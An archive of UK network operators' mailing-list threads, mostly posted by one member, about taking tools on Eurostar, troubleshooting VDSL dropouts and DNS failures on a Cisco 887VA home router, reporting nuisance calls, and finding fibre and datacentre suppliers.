Re: [uknof] Eurostar and tools

[Tom Storey]

Thanks all.

I tried calling a company that provides courier services, but they dont do
station-to-station (collect from source and deliver to destination only).
They gave me the number to call Eurostar on, although that just gives me
dead air.

Ive tried emailing them again, but last time I did that it took them a
month to respond and by that stage I had already travelled and returned.
Lets see if things are any better this time around.

At least when Im flying I can just buy checked baggage at the time Im
buying my ticket and no one has ever questioned what I send through. Seems
like a missed opportunity for Eurostar really.

Tom

On Tue, 11 Apr 2023 at 17:01, Rob Pickering  wrote:

> Yea, you can't do that anymore.
>
> Things like big screwdrivers, large bladed objects are definitely a no-no,
> but I've been OK with more specialist things like crimping, punch-down &
> testing tools. The good news is that whilst the definitions are vague, you
> can e-mail Eurostar customer services with a photo and measurements of the
> items you propose to take and they will email back a definitive "OK", or
> "not OK". Takes the stress out of security as I guess it gives you
> something you can show them if they query it. Bit better than
> airlines where the rules are a lottery depending on random factors in each
> country/airport.
>
> Big new issue is also now of course customs, you run the risk of having
> expensive tools confiscated or duties levied if you don't have a carnet or
> other import/export paperwork for them.
>
> On Tue, 11 Apr 2023 at 11:03, Tom Storey  wrote:
>
>> Hi all.
>>
>> Many years ago I took a Peli case full of tools with me on the Eurostar
>> to Paris. That was while the world was probably a little less serious than
>> it is in these days, and the only thing they seemed to be interested in
>> with my pen style VFL, but didnt otherwise cause me any bother or seem to
>> care.
>>
>> Thought I might ask, if anyone is familiar with this practice in more
>> recent times, are there generally any troubles taking things like
>> screwdrivers, knives box cutters, scissors and other misc tools with you on
>> board? It is "officially against the rules", but they dont seem to have a
>> concept of checked baggage which I would otherwise happily pay for.
>>
>> Thanks!
>>
>
>
> --
> --
> Rob Pickering, r...@pickering.org
>

[uknof] Eurostar and tools

[Tom Storey]

Hi all.

Many years ago I took a Peli case full of tools with me on the Eurostar to
Paris. That was while the world was probably a little less serious than it
is in these days, and the only thing they seemed to be interested in with
my pen style VFL, but didnt otherwise cause me any bother or seem to care.

Thought I might ask, if anyone is familiar with this practice in more
recent times, are there generally any troubles taking things like
screwdrivers, knives box cutters, scissors and other misc tools with you on
board? It is "officially against the rules", but they dont seem to have a
concept of checked baggage which I would otherwise happily pay for.

Thanks!

Re: [uknof] Cisco 887VA "golden config" (for home)

[Tom Storey]

Hi Ruairi,

I wasnt aware it was sensitive to electrical noise etc. Other than
replacing the master socket, nothing else electrical related changed around
it when the dropouts started.

Im fairly sure that PPPoE drops are due to it losing sync - it happens
every time and I can observe that through the logs/"show controller VDSL 0"
etc.

Might be about time to swap it out for something else. Ive been meaning to
throw a Juniper box in, maybe this is just the motivation I need. :-)

On Mon, 16 May 2022 at 14:44, Ruairi Carroll 
wrote:

>
>
> On Sun, 15 May 2022 at 13:26, Tom Storey  wrote:
>
>> Hey James,
>>
>> Cheers, will take a look through it to see if theres anything I can use.
>>
>> I'll try enabling the training log at some point. My VDSL firmware
>> already seems to be the latest Cisco has to offer unfortunately.
>>
>> I was watching things like the SNR via "show controller VDSL 0" to see
>> how that was behaving, and saw it bouncing around a bit, hitting 1dB at its
>> lowest point, but mostly sitting around 4-6dB. Best I managed was 9dB
>> immediately after replacing the socket, but that went back down to 4-6 soon
>> afterwards.
>>
>> Strangely the HG612 reports 22dB as the SNR ... not sure how accurate
>> that is...
>>
>
> Hey Tom,
>
> Check for other sources of electrical noise on either the phone loop, or
> the electrical loop. The 8xx was always cantankerous when it came to xDSL,
> lacking support for so many DSLAMs you'd find in much cheaper, off the
> shelf models. It was also sensitive to various sources of electrical noise.
>
> If finding/isolating sources of noise does not help, as James has
> suggested, eyeball your PPP(oE) debug logs and find out why the connection
> is bouncing.
>
> /Ruairi
>
>
>
>>
>> On Sun, 15 May 2022 at 11:32, James Bensley 
>> wrote:
>>
>>> Hi Tom,
>>>
>>> I was using this on an 897 with Sky FTTC (via Openreach):
>>>
>>> https://null.53bits.co.uk/uploads/hardware/Cisco%20897VAW-E-K9%20show-run.txt
>>>
>>> A good tip is to ensure that you have the latest VDSL firmware from
>>> cisco.com on your device. Also maybe enable the ADSL/VDSL controller
>>> training log, and as much debugging as you can, so you can see why
>>> it's dropping and when.
>>>
>>> conf t
>>> controller VDSL 0
>>>  training log filename flash:vdsl.log
>>>  end
>>>
>>> debug ppp *
>>>
>>> Also look under the "show controller x" commands.
>>>
>>> Cheers,
>>> James.
>>>
>>

Re: [uknof] Cisco 887VA "golden config" (for home)

[Tom Storey]

Hey James,

Cheers, will take a look through it to see if theres anything I can use.

I'll try enabling the training log at some point. My VDSL firmware already
seems to be the latest Cisco has to offer unfortunately.

I was watching things like the SNR via "show controller VDSL 0" to see how
that was behaving, and saw it bouncing around a bit, hitting 1dB at its
lowest point, but mostly sitting around 4-6dB. Best I managed was 9dB
immediately after replacing the socket, but that went back down to 4-6 soon
afterwards.

Strangely the HG612 reports 22dB as the SNR ... not sure how accurate that
is...

On Sun, 15 May 2022 at 11:32, James Bensley 
wrote:

> Hi Tom,
>
> I was using this on an 897 with Sky FTTC (via Openreach):
>
> https://null.53bits.co.uk/uploads/hardware/Cisco%20897VAW-E-K9%20show-run.txt
>
> A good tip is to ensure that you have the latest VDSL firmware from
> cisco.com on your device. Also maybe enable the ADSL/VDSL controller
> training log, and as much debugging as you can, so you can see why
> it's dropping and when.
>
> conf t
> controller VDSL 0
>  training log filename flash:vdsl.log
>  end
>
> debug ppp *
>
> Also look under the "show controller x" commands.
>
> Cheers,
> James.
>

Re: [uknof] Cisco 887VA "golden config" (for home)

[Tom Storey]

Hi Chris,

Been way too long for me as well with this kind of stuff. :-)

No outages that I am aware of, and as far as I know nothing has been
swapped in the cabinet - but I dont exactly keep a daily record of activity
around it. There has been cable pulling in nearby streets in recent weeks,
although my dropouts seemed to coincide more so with some tiling work that
I had done. The old socket and wiring was sitting on the floor of the
utility cupboard, and was moved out of the way, but nothing appears to be
damaged in any way, so may just be coincidental.

Replacing the socket had been on my list of things to do for a long time,
so I finally got around to that but even removing all of the old wiring and
terminal blocks and having the lead in cable terminate directly on the new
socket hasnt helped. Things have been much more stable with the HG612, but
I still had a dropout overnight.

Looks like Im already using the latest and greatest VDSL firmware too. Doh.

Tom

On Sun, 15 May 2022 at 11:40, Chris Russell  wrote:

>
>> Wonder if anyone has a golden config they could share for a Cisco 887VA
>> hooked up to a BT line - I guess what is referred to as "Fibre". Zen is the
>> retailer.
>>
>> Up until about a week ago mine had been running rock solid, nary a
>> dropout to be known. Now it seems it cant hold a connection for more than a
>> couple of hours.
>>
>> Master socket was replaced (or rather, installed) with one that has a
>> filter faceplate, because the old incoming wiring was quite janky using
>> screw terminals and all.
>>
>> Below is a snippet of my config for reference, any pointers would be
>> appreciated to restore my once rock solid internet without needing to daisy
>> chain devices.
>>
>
>  Been a while but from memory,  config looks ok.  Was there any outages
> and possible DSLAM change ?  there used to be weird incompatibility with
> some Cisco DSL* interfaces whereas you had to update the firmware -
> checking latest might not hurt ?
>
> Chris
>

[uknof] Cisco 887VA "golden config" (for home)

[Tom Storey]

Hi all,

Wonder if anyone has a golden config they could share for a Cisco 887VA
hooked up to a BT line - I guess what is referred to as "Fibre". Zen is the
retailer.

Up until about a week ago mine had been running rock solid, nary a dropout
to be known. Now it seems it cant hold a connection for more than a couple
of hours.

Master socket was replaced (or rather, installed) with one that has a
filter faceplate, because the old incoming wiring was quite janky using
screw terminals and all.

Below is a snippet of my config for reference, any pointers would be
appreciated to restore my once rock solid internet without needing to daisy
chain devices.

FWIW an old HG612 I had laying about seems to be able to hold a connection
just fine - no dropouts in the past 24 hours since I put it in as a test.
The FritzBox that Zen supplied also seemed to be holding a solid connection
prior to the HG612, so it seems like its something related to the Cisco.

According to the VDSL stats the downstream SNR can be a bit jumpy
sometimes, Ive seen it go as low as 1dB, but mostly sitting around 4-6dB. I
do see a few FEC and CRC errors from time to time as well (including on the
HG612).

Thanks

---

controller VDSL 0
 operating mode vdsl2
 firmware filename flash:VA_A_39m_B_38h3_24h_o.bin
 modem UKfeature
!
interface Ethernet0
 mtu 1508
 no ip address
!
interface Ethernet0.101
 encapsulation dot1Q 101
 pppoe enable group global
 pppoe-client dial-pool-number 1
 pppoe-client ppp-max-payload 1500
!

[uknof] Cage nuts/screws in Docklands

[Tom Storey]

Hi all, does anyone know of any shops selling basic supplies per the
subject? There was a shop in Blackwall Trading Estate near GS/Telehouse,
not sure if that is still there?

I'm more local to Equinix LD8.

Thanks

Re: [uknof] Scam/spam calls

[Tom Storey]

And had a much more positive response from their TD, which was a pleasant
surprise.

Out of curiosity I called one of the numbers back with CLID turned off and
it was a "Steph from Legal Advice" machine asking about a recent accident.

On Fri, 29 Nov 2019 at 16:51, Tom Storey  wrote:

> Well, Fuse2 came back to me quite quickly. Maybe because its Friday
> afternoon and someone wants to go home..
>
> But basically they said "the number ranges will have been purchased by a
> customer and be in use by them" and that I should report them to the
> relevant body if I think they aren't following the rules, so a somewhat
> generic "k thx bai" - not that I expect them to tell me anything remotely
> in detail about a potential customer anyway, but doesn't exactly sound like
> they will do anything further from their side.
>
>
>
> On Fri, 29 Nov 2019 at 16:18, Tom Storey  wrote:
>
>> Im pretty sure I signed up to TPS some years ago, but have done it again
>> since I moved addresses recently. Cant hurt I suppose.
>>
>> Most of my spam calls have historically been those "we heard you had an
>> accident recently". They are generally pretty easy to pick now, because
>> when you answer there is a second or so of silence, so on those calls I
>> just hang up straight away. But they were never this frequent, I might have
>> had one a month or something like that.
>>
>> I wish I had the time to sit around playing with these people. Maybe I
>> could just answer and then put the mic on mute and leave the phone on
>> speaker and see how long before they hang up. :-)
>>
>> I might pop those guys an email anyway, at least they might be aware that
>> someone is spoofing numbers from their range, whether they can do anything
>> about it...
>>
>> On Fri, 29 Nov 2019 at 16:05, Mark Boyce  wrote:
>>
>>> Looks like it’s all from Fuse2.net customer(s) (ignoring porting /
>>> faked cli etc);
>>>
>>> 0113 484  Allocated Fuse 2 Communications Ltd 22/02/16
>>> 0114 490 Allocated Fuse 2 Communications Ltd 03/07/17
>>>
>>> So would guess it’s real people and probably worth complaining that
>>> they’re (presumably) breaking Telephone Preference Service (TPS) Listing?
>>>
>>> Of the increasing number of “we’re calling about your recent accident”
>>> spam calls I get, nearly all of them are from faked unallocated numbers.
>>>
>>> mark
>>>
>>> On 29 Nov 2019, at 15:44, Tom Storey  wrote:
>>>
>>> Anyone in the know on voice related "issues" ?
>>>
>>> Since Monday I have been receiving on average 2-3 calls a day from a
>>> bunch of very similar numbers in Leeds and Sheffield.
>>>
>>> I haven't answered one of them (usually I just see them as missed calls
>>> because I set my phone not to ring for non contacts), so no idea what they
>>> are peddling.
>>>
>>> It can't be anything particularly important because not a single voice
>>> mail has been left so far either. So, other than continuing to ignore them,
>>> what else can be done? Can I somehow notify the carrier that owns the
>>> number blocks (assuming they aren't spoofed numbers) about such behaviour
>>> which is peculiar given the persistence?
>>>
>>> Or am I better off reporting it to my carrier?
>>>
>>> 0113 484 1678
>>> 0113 484 1673
>>> 0113 484 1674
>>> 0114 490 6561
>>> 0114 490 6567
>>> 0114 490 6566
>>> 0113 484 1675
>>> 0113 484 1672
>>> 0113 484 1670
>>> 0113 484 1676
>>>
>>>
>>> --
>>> Mark Boyce
>>> Dark Origins Ltd
>>>
>>>

Re: [uknof] Scam/spam calls

[Tom Storey]

Well, Fuse2 came back to me quite quickly. Maybe because its Friday
afternoon and someone wants to go home..

But basically they said "the number ranges will have been purchased by a
customer and be in use by them" and that I should report them to the
relevant body if I think they aren't following the rules, so a somewhat
generic "k thx bai" - not that I expect them to tell me anything remotely
in detail about a potential customer anyway, but doesn't exactly sound like
they will do anything further from their side.



On Fri, 29 Nov 2019 at 16:18, Tom Storey  wrote:

> Im pretty sure I signed up to TPS some years ago, but have done it again
> since I moved addresses recently. Cant hurt I suppose.
>
> Most of my spam calls have historically been those "we heard you had an
> accident recently". They are generally pretty easy to pick now, because
> when you answer there is a second or so of silence, so on those calls I
> just hang up straight away. But they were never this frequent, I might have
> had one a month or something like that.
>
> I wish I had the time to sit around playing with these people. Maybe I
> could just answer and then put the mic on mute and leave the phone on
> speaker and see how long before they hang up. :-)
>
> I might pop those guys an email anyway, at least they might be aware that
> someone is spoofing numbers from their range, whether they can do anything
> about it...
>
> On Fri, 29 Nov 2019 at 16:05, Mark Boyce  wrote:
>
>> Looks like it’s all from Fuse2.net customer(s) (ignoring porting / faked
>> cli etc);
>>
>> 0113 484  Allocated Fuse 2 Communications Ltd 22/02/16
>> 0114 490 Allocated Fuse 2 Communications Ltd 03/07/17
>>
>> So would guess it’s real people and probably worth complaining that
>> they’re (presumably) breaking Telephone Preference Service (TPS) Listing?
>>
>> Of the increasing number of “we’re calling about your recent accident”
>> spam calls I get, nearly all of them are from faked unallocated numbers.
>>
>> mark
>>
>> On 29 Nov 2019, at 15:44, Tom Storey  wrote:
>>
>> Anyone in the know on voice related "issues" ?
>>
>> Since Monday I have been receiving on average 2-3 calls a day from a
>> bunch of very similar numbers in Leeds and Sheffield.
>>
>> I haven't answered one of them (usually I just see them as missed calls
>> because I set my phone not to ring for non contacts), so no idea what they
>> are peddling.
>>
>> It can't be anything particularly important because not a single voice
>> mail has been left so far either. So, other than continuing to ignore them,
>> what else can be done? Can I somehow notify the carrier that owns the
>> number blocks (assuming they aren't spoofed numbers) about such behaviour
>> which is peculiar given the persistence?
>>
>> Or am I better off reporting it to my carrier?
>>
>> 0113 484 1678
>> 0113 484 1673
>> 0113 484 1674
>> 0114 490 6561
>> 0114 490 6567
>> 0114 490 6566
>> 0113 484 1675
>> 0113 484 1672
>> 0113 484 1670
>> 0113 484 1676
>>
>>
>> --
>> Mark Boyce
>> Dark Origins Ltd
>>
>>

Re: [uknof] Scam/spam calls

[Tom Storey]

Im pretty sure I signed up to TPS some years ago, but have done it again
since I moved addresses recently. Cant hurt I suppose.

Most of my spam calls have historically been those "we heard you had an
accident recently". They are generally pretty easy to pick now, because
when you answer there is a second or so of silence, so on those calls I
just hang up straight away. But they were never this frequent, I might have
had one a month or something like that.

I wish I had the time to sit around playing with these people. Maybe I
could just answer and then put the mic on mute and leave the phone on
speaker and see how long before they hang up. :-)

I might pop those guys an email anyway, at least they might be aware that
someone is spoofing numbers from their range, whether they can do anything
about it...

On Fri, 29 Nov 2019 at 16:05, Mark Boyce  wrote:

> Looks like it’s all from Fuse2.net customer(s) (ignoring porting / faked
> cli etc);
>
> 0113 484  Allocated Fuse 2 Communications Ltd 22/02/16
> 0114 490 Allocated Fuse 2 Communications Ltd 03/07/17
>
> So would guess it’s real people and probably worth complaining that
> they’re (presumably) breaking Telephone Preference Service (TPS) Listing?
>
> Of the increasing number of “we’re calling about your recent accident”
> spam calls I get, nearly all of them are from faked unallocated numbers.
>
> mark
>
> On 29 Nov 2019, at 15:44, Tom Storey  wrote:
>
> Anyone in the know on voice related "issues" ?
>
> Since Monday I have been receiving on average 2-3 calls a day from a bunch
> of very similar numbers in Leeds and Sheffield.
>
> I haven't answered one of them (usually I just see them as missed calls
> because I set my phone not to ring for non contacts), so no idea what they
> are peddling.
>
> It can't be anything particularly important because not a single voice
> mail has been left so far either. So, other than continuing to ignore them,
> what else can be done? Can I somehow notify the carrier that owns the
> number blocks (assuming they aren't spoofed numbers) about such behaviour
> which is peculiar given the persistence?
>
> Or am I better off reporting it to my carrier?
>
> 0113 484 1678
> 0113 484 1673
> 0113 484 1674
> 0114 490 6561
> 0114 490 6567
> 0114 490 6566
> 0113 484 1675
> 0113 484 1672
> 0113 484 1670
> 0113 484 1676
>
>
> --
> Mark Boyce
> Dark Origins Ltd
>
>

[uknof] Scam/spam calls

[Tom Storey]

Anyone in the know on voice related "issues" ?

Since Monday I have been receiving on average 2-3 calls a day from a bunch
of very similar numbers in Leeds and Sheffield.

I haven't answered one of them (usually I just see them as missed calls
because I set my phone not to ring for non contacts), so no idea what they
are peddling.

It can't be anything particularly important because not a single voice mail
has been left so far either. So, other than continuing to ignore them, what
else can be done? Can I somehow notify the carrier that owns the number
blocks (assuming they aren't spoofed numbers) about such behaviour which is
peculiar given the persistence?

Or am I better off reporting it to my carrier?

0113 484 1678
0113 484 1673
0113 484 1674
0114 490 6561
0114 490 6567
0114 490 6566
0113 484 1675
0113 484 1672
0113 484 1670
0113 484 1676

Re: [uknof] Fibre / Wave provider in Manchester

[Tom Storey]

https://cloudscene.com/ should help point you in the direction of suppliers
common to both locations.

On Fri, 28 Jun 2019 at 14:49, Craig Smith  wrote:

> Hi,
>
>
>
> Does anybody know of any providers that supply either fibre or a wave
> between LDeX2 and Equinix Williams House up in Manchester?
>
>
>
> Thanks
>
>
>
> Craig
>
>
>
>
>

Re: [uknof] Cisco 887VA - forwarding "kind of breaks" after a week

[Tom Storey]

Small update (been rather busy with house rennovations in the mean time).

I loaded a 15.4 image I had laying around, and so far 1 week and 3 days
later, no issues.

Same VDSL firmware, so it would seem to be something in IOS 15.6 (or the
particular release I had) messing with DNS.

Will play around a bit more, looking for ALG options that I might be able
to disable perhaps.

Tom

On Wed, 22 May 2019 at 09:46, Tom Storey  wrote:

> Hi all, wondering if anyone has come across this and knows how to fix it.
>
> I have a Cisco 887VA at home, hooked up to a BT supplied VDSL line
> (cabinet at end of street), what I believe is called "fibre", but my ISP is
> Zen.
>
> Ive noticed that very consistently after about a week (7-8 days),
> forwarding partially breaks in some way. Im not sure if it is the Cisco or
> something somewhere else, but I didnt have the same issue with the Zen
> supplied FritzBox, so seems coincidental that it is the Cisco...
>
> The biggest thing I have noticed is that DNS seems to break. e.g. I could
> have an audio stream playing, and it will continue to stream just fine, but
> you wont be able to browse or resolve any other hostnames. I can also still
> ping anything by IP just fine.
>
> I have a friend that is working for a managed service provider who has an
> installed base of these routers and says they are also working on much the
> same issue.
>
> If anyone has any suggestions, Im all ears!
>
> Thanks
> Tom
>

Re: [uknof] Cisco 887VA - forwarding "kind of breaks" after a week

[Tom Storey]

Hi Melanie,

I am usually using quad 1 or 8, rather than pointing DNS at the router -
thats if Im too lazy to run my own in-house resolver. :-)

I do have BIND running on a raspberry pi, and it also suffers an inability
to do lookups at the same time, which might just be it getting caught up in
the same symptom.

Tom

On Wed, 22 May 2019 at 14:32, Melanie Gajic 
wrote:

> Hi Tom
>
>
>
> If you change the IOS version,  you should double check it with the bug
> search tool.  For example 16.5 has a bug like Delay in DNS resolve after
> network flap 😊 .
>
> Usually it is either config or firmware related. Have you tried using a
> different DNS server   and not going through the auto assignment ?
>
>
>
>
>
>
>
> Regards,
>
>
>
> *Melanie Gajic *
>
>
>
> *From: *uknof  on behalf of Tom Storey <
> t...@snnap.net>
> *Date: *Wednesday, 22 May 2019 at 14:11
> *To: *James Bensley 
> *Cc: *"uknof@lists.uknof.org.uk" 
> *Subject: *Re: [uknof] Cisco 887VA - forwarding "kind of breaks" after a
> week
>
>
>
> *CAUTION:* This email originated from outside of the organization. Do not
> click links or open attachments unless you recognize the sender and know
> the content is safe.
>
>
>
> Hey James,
>
>
>
> controller VDSL 0
>
>  operating mode vdsl2
>
>  firmware filename flash:VA_A_39m_B_38h3_24h_o.bin
>
>  modem UKfeature
>
> !
>
>
>
> This particular image was recommended to me by someone that is a bit more
> familiar with BT last mile access than I am.
>
>
>
> IOS itself is down somewhere in the 15.6's. My usual response to wierd
> behaviour is to try upping the IOS version and see if it goes away. That is
> what I intend to try next - as soon as I can get my hands on a more recent
> image. Seems strange that the modem would prevent DNS from working though?
>
>
>
> Tom
>
>
>
> On Wed, 22 May 2019 at 13:29, James Bensley  wrote:
>
> On Wed, 22 May 2019 at 09:48, Tom Storey  wrote:
> >
> > Hi all, wondering if anyone has come across this and knows how to fix it.
> >
> > I have a Cisco 887VA at home, hooked up to a BT supplied VDSL line
> (cabinet at end of street), what I believe is called "fibre", but my ISP is
> Zen.
> >
> > Ive noticed that very consistently after about a week (7-8 days),
> forwarding partially breaks in some way. Im not sure if it is the Cisco or
> something somewhere else, but I didnt have the same issue with the Zen
> supplied FritzBox, so seems coincidental that it is the Cisco...
> >
> > The biggest thing I have noticed is that DNS seems to break. e.g. I
> could have an audio stream playing, and it will continue to stream just
> fine, but you wont be able to browse or resolve any other hostnames. I can
> also still ping anything by IP just fine.
> >
> > I have a friend that is working for a managed service provider who has
> an installed base of these routers and says they are also working on much
> the same issue.
> >
> > If anyone has any suggestions, Im all ears!
> >
> > Thanks
> > Tom
>
> Hi Tom,
>
> On some of these smaller CPEs you can upgrade the modem firmware
> seperatly from the IOS image. Are you running latest and greatest
> modem firmware as well as IOS?
>
> Cheers,
> James.
>
>

Re: [uknof] Cisco 887VA - forwarding "kind of breaks" after a week

[Tom Storey]

Hi Mark,

Other than some kind of memory leak chewing everything up, this is in a
single person household setting, and Im pretty light on usage really. Will
check memory next time it happens, just in case.

Tom

On Wed, 22 May 2019 at 15:30, Mark Tinka  wrote:

> Could you be running out of memory due to NAT?
>
> Mark.
>
> On 22/May/19 11:02, Tom Storey wrote:
>
> I forgot to mention, my friend says they only have this issue on a subset
> of their deployed units.
>
> On Wed, 22 May 2019 at 09:46, Tom Storey  wrote:
>
>> Hi all, wondering if anyone has come across this and knows how to fix it.
>>
>> I have a Cisco 887VA at home, hooked up to a BT supplied VDSL line
>> (cabinet at end of street), what I believe is called "fibre", but my ISP is
>> Zen.
>>
>> Ive noticed that very consistently after about a week (7-8 days),
>> forwarding partially breaks in some way. Im not sure if it is the Cisco or
>> something somewhere else, but I didnt have the same issue with the Zen
>> supplied FritzBox, so seems coincidental that it is the Cisco...
>>
>> The biggest thing I have noticed is that DNS seems to break. e.g. I could
>> have an audio stream playing, and it will continue to stream just fine, but
>> you wont be able to browse or resolve any other hostnames. I can also still
>> ping anything by IP just fine.
>>
>> I have a friend that is working for a managed service provider who has an
>> installed base of these routers and says they are also working on much the
>> same issue.
>>
>> If anyone has any suggestions, Im all ears!
>>
>> Thanks
>> Tom
>>
>
>

Re: [uknof] Cisco 887VA - forwarding "kind of breaks" after a week

[Tom Storey]

Hi Alistair,

I dont think this is a problem with the PPP session dropping. The log
doesnt seem to suggest it, and I think there is sufficient chatter in
modern web apps to keep a connection alive without the need for
persistence. :-)

I can add that in, but given it is only happening (consistently) once every
~week it would seem strange if it were something like this.

Tom

On Wed, 22 May 2019 at 15:33, Alistair  wrote:

> Tom,
>
> Did you try
>
> int Dialer0
> dialer persistent
>
> This did the trick for my 877 which kept on dropping its PPPoE session.
>
> On Wed, 22 May 2019 at 15:26, Mark Tinka  wrote:
>
>> Could you be running out of memory due to NAT?
>>
>>
>> Mark.
>>
>> On 22/May/19 11:02, Tom Storey wrote:
>>
>> I forgot to mention, my friend says they only have this issue on a subset
>> of their deployed units.
>>
>> On Wed, 22 May 2019 at 09:46, Tom Storey  wrote:
>>
>>> Hi all, wondering if anyone has come across this and knows how to fix
>>> it.
>>>
>>> I have a Cisco 887VA at home, hooked up to a BT supplied VDSL line
>>> (cabinet at end of street), what I believe is called "fibre", but my ISP is
>>> Zen.
>>>
>>> Ive noticed that very consistently after about a week (7-8 days),
>>> forwarding partially breaks in some way. Im not sure if it is the Cisco or
>>> something somewhere else, but I didnt have the same issue with the Zen
>>> supplied FritzBox, so seems coincidental that it is the Cisco...
>>>
>>> The biggest thing I have noticed is that DNS seems to break. e.g. I
>>> could have an audio stream playing, and it will continue to stream just
>>> fine, but you wont be able to browse or resolve any other hostnames. I can
>>> also still ping anything by IP just fine.
>>>
>>> I have a friend that is working for a managed service provider who has
>>> an installed base of these routers and says they are also working on much
>>> the same issue.
>>>
>>> If anyone has any suggestions, Im all ears!
>>>
>>> Thanks
>>> Tom
>>>
>>
>>

Re: [uknof] Cisco 887VA - forwarding "kind of breaks" after a week

[Tom Storey]

Hey James,

controller VDSL 0
 operating mode vdsl2
 firmware filename flash:VA_A_39m_B_38h3_24h_o.bin
 modem UKfeature
!

This particular image was recommended to me by someone that is a bit more
familiar with BT last mile access than I am.

IOS itself is down somewhere in the 15.6's. My usual response to wierd
behaviour is to try upping the IOS version and see if it goes away. That is
what I intend to try next - as soon as I can get my hands on a more recent
image. Seems strange that the modem would prevent DNS from working though?

Tom

On Wed, 22 May 2019 at 13:29, James Bensley  wrote:

> On Wed, 22 May 2019 at 09:48, Tom Storey  wrote:
> >
> > Hi all, wondering if anyone has come across this and knows how to fix it.
> >
> > I have a Cisco 887VA at home, hooked up to a BT supplied VDSL line
> (cabinet at end of street), what I believe is called "fibre", but my ISP is
> Zen.
> >
> > Ive noticed that very consistently after about a week (7-8 days),
> forwarding partially breaks in some way. Im not sure if it is the Cisco or
> something somewhere else, but I didnt have the same issue with the Zen
> supplied FritzBox, so seems coincidental that it is the Cisco...
> >
> > The biggest thing I have noticed is that DNS seems to break. e.g. I
> could have an audio stream playing, and it will continue to stream just
> fine, but you wont be able to browse or resolve any other hostnames. I can
> also still ping anything by IP just fine.
> >
> > I have a friend that is working for a managed service provider who has
> an installed base of these routers and says they are also working on much
> the same issue.
> >
> > If anyone has any suggestions, Im all ears!
> >
> > Thanks
> > Tom
>
> Hi Tom,
>
> On some of these smaller CPEs you can upgrade the modem firmware
> seperatly from the IOS image. Are you running latest and greatest
> modem firmware as well as IOS?
>
> Cheers,
> James.
>

Re: [uknof] Cisco 887VA - forwarding "kind of breaks" after a week

[Tom Storey]

I forgot to mention, my friend says they only have this issue on a subset
of their deployed units.

On Wed, 22 May 2019 at 09:46, Tom Storey  wrote:

> Hi all, wondering if anyone has come across this and knows how to fix it.
>
> I have a Cisco 887VA at home, hooked up to a BT supplied VDSL line
> (cabinet at end of street), what I believe is called "fibre", but my ISP is
> Zen.
>
> Ive noticed that very consistently after about a week (7-8 days),
> forwarding partially breaks in some way. Im not sure if it is the Cisco or
> something somewhere else, but I didnt have the same issue with the Zen
> supplied FritzBox, so seems coincidental that it is the Cisco...
>
> The biggest thing I have noticed is that DNS seems to break. e.g. I could
> have an audio stream playing, and it will continue to stream just fine, but
> you wont be able to browse or resolve any other hostnames. I can also still
> ping anything by IP just fine.
>
> I have a friend that is working for a managed service provider who has an
> installed base of these routers and says they are also working on much the
> same issue.
>
> If anyone has any suggestions, Im all ears!
>
> Thanks
> Tom
>

[uknof] Cisco 887VA - forwarding "kind of breaks" after a week

[Tom Storey]

Hi all, wondering if anyone has come across this and knows how to fix it.

I have a Cisco 887VA at home, hooked up to a BT supplied VDSL line (cabinet
at end of street), what I believe is called "fibre", but my ISP is Zen.

Ive noticed that very consistently after about a week (7-8 days),
forwarding partially breaks in some way. Im not sure if it is the Cisco or
something somewhere else, but I didnt have the same issue with the Zen
supplied FritzBox, so seems coincidental that it is the Cisco...

The biggest thing I have noticed is that DNS seems to break. e.g. I could
have an audio stream playing, and it will continue to stream just fine, but
you wont be able to browse or resolve any other hostnames. I can also still
ping anything by IP just fine.

I have a friend that is working for a managed service provider who has an
installed base of these routers and says they are also working on much the
same issue.

If anyone has any suggestions, Im all ears!

Thanks
Tom

Re: [uknof] NetLdn 1

[Tom Storey]

I have no idea. A colleague put me on to II recently as there was a load of
brexit themed stuff showing up.

Re: [uknof] NetLdn 1

[Tom Storey]

On Tue, 9 Apr 2019 at 14:41, Keith Mitchell  wrote:

> Just so long as it doesn't turn into North vs South flame wars...
>
>
UK Simpsons II  has had
some quite hilarious North/South flaming going on for the past day or two.

Re: [uknof] NetLdn 1

[Tom Storey]

On Fri, 5 Apr 2019 at 18:54, Mike Reed  wrote:

> Elizabeth line (Crossrail tube)
>

#purpletrain

Re: [uknof] Dark Fibre providers in London

[Tom Storey]

Hi Mehmet,

Really nice looking tool. Some feedback: when I click on a network, it pops
open a little info box in the lower left corner, but if I move my mouse off
the network the highlighting disappears.

Is it possible to have the highlighting remain while that info box is open?
It makes it so much easier to navigate around the map and see where it goes.

Tom

On Thu, 7 Feb 2019 at 12:42, Mehmet Akcin  wrote:

> Hi there
>
> Did you check https://dev.networkatlas.org ?
>
> Several options. I am still working on adding smaller players.
>
> Mehme
>
> On Thu, Feb 7, 2019 at 02:03 Simon Lockhart  wrote:
>
>> All,
>>
>> It's a few years since I've been shopping for this, so I thought it
>> worthwhile
>> updating my list of suitable candidates...
>>
>> I'm looking for some dark fibre around London - probably two (or more)
>> rings,
>> the first linking some datacentres (Interxion LON1, Telehouse, Sovereign
>> House
>> and HEX), and the other(s) linking a number of BT Exchanges around London.
>>
>> I'm currently using Zayo for parts of this already, and am talking to
>> them,
>> but who else should I be looking at?
>>
>> Many thanks in advance,
>>
>> Simon
>>
>> --
> Mehmet
> +1-424-298-1903
>

Re: [uknof] Juniper SRX Available

[Tom Storey]

AusNOG has a classifieds mailing list to this very effect.

I believe its pretty hands off - caveat emptor - there are no endorsements
from AusNOG themselves, its entirely between the buyer and seller with the
list being meerly a channel of engagement. I guess thats just like
classifieds in a newspaper.




On 15 November 2017 at 15:25, Tom Hill  wrote:

> On 15/11/17 15:18, Paul Mansfield wrote:
> > maybe UKNOF could create a second mailing list called
> > "uknof-marketplace" or something for this?
>
> Given the propensity for humans to rip each other off, that would be a
> lot of administrative burden to police... And eBay does this already.
>
> Though I'd not object to it if UKNOF wanted to go ahead and take that
> on, I would imagine it would lose its allure if the seller couldn't spam
> the UK's operators with one email.
>
> --
> Tom Hill
> Network Manager
>
> Bytemark Hosting
> http://www.bytemark.co.uk/
> tel. +44 1904 890 890
>
>

Re: [uknof] Entry level CE/CPE devices

[Tom Storey]

On 2 August 2017 at 18:44, Benny Lyne Amorsen 
wrote:

>
> The 220’s have rock solid DHCP server and relay. The 300’s do not support
> that DHCP server
>

Surely this is a software thing, not hardware model dependent??

Re: [uknof] DCs in Runcorn / Warrington Area

[Tom Storey]

Not sure if you have seen it before, but check out Cloudscene.com

Lots and lots and lots of datacentres and service providers listed on there.

On 21 March 2017 at 20:22, Phil Bartlett 
wrote:

> Hi
>
> Can anyone recommend a DC in the Runcorn/Warrington area?
>
> Phil Bartlett
